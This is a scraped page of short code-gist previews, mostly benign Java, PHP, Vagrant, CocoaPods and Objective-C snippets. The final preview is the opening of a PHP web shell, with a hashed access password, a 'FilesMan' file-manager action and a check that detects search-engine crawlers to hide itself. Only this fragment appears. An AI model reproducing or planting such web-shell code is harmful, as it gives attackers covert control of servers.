This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.dodyrw.mpos; | |
/** | |
* Created by dodyrw on 1/14/15. | |
*/ | |
public interface MyClickAction { | |
void onImageClick(int position); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="utf-8"> | |
<meta http-equiv="X-UA-Compatible" content="IE=edge"> | |
<meta name="viewport" content="width=device-width, initial-scale=1"> | |
<title>{{{ $pageTitle }}}</title> | |
<!-- Bootstrap --> | |
<link href="../assets/bootstrap/css/bootstrap.css" rel="stylesheet"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// this is on top | |
ob_start(); | |
// this is the content | |
.. | |
.. | |
.. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class Post | |
{ | |
protected $table = 'posts'; | |
/** | |
* You can define your own custom boot method. | |
* | |
* @return void | |
**/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pod repo remove master | |
pod setup |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Vagrant v1.1+ | |
config.vm.synced_folder "./", "/var/sites/dev.query-auth", id: "vagrant-root", | |
owner: "vagrant", | |
group: "www-data", | |
mount_options: ["dmode=775,fmode=664"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
CGSize valSize = [val.text sizeWithFont:val.font | |
constrainedToSize:val.frame.size | |
lineBreakMode:UILineBreakModeWordWrap]; | |
CGFloat valHeight = valSize.height; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
- (void)forcePortrait | |
{ | |
if (UIDeviceOrientationIsLandscape([[UIDevice currentDevice] orientation])) | |
{ | |
if ([[UIDevice currentDevice] respondsToSelector:@selector(setOrientation:)]) | |
{ | |
int orientationPortrait = UIInterfaceOrientationPortrait; | |
NSMethodSignature *sig = [[UIDevice currentDevice] methodSignatureForSelector:@selector(setOrientation:)]; | |
NSInvocation* invo = [NSInvocation invocationWithMethodSignature:sig]; | |
[invo setTarget:[UIDevice currentDevice]]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
NSNumberFormatter *numberFormatter = [[NSNumberFormatter alloc] init]; | |
[numberFormatter setGroupingSeparator:@"."]; | |
[numberFormatter setGroupingSize:3]; | |
[numberFormatter setUsesGroupingSeparator:YES]; | |
[numberFormatter setDecimalSeparator:@","]; | |
[numberFormatter setNumberStyle:NSNumberFormatterDecimalStyle]; | |
[numberFormatter setMaximumFractionDigits:0]; | |
NSString *nominal = [numberFormatter stringFromNumber:[dict valueForKey:@"amount"]]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$auth_pass = "460c3646e4c75a4fae5c8fe817e0c435"; | |
$color = "#00FF66"; | |
$default_use_ajax = true; | |
$default_charset = 'Windows-1251'; | |
$default_action = 'FilesMan'; | |
if(!empty($_SERVER['HTTP_USER_AGENT'])) { | |
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); | |
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { |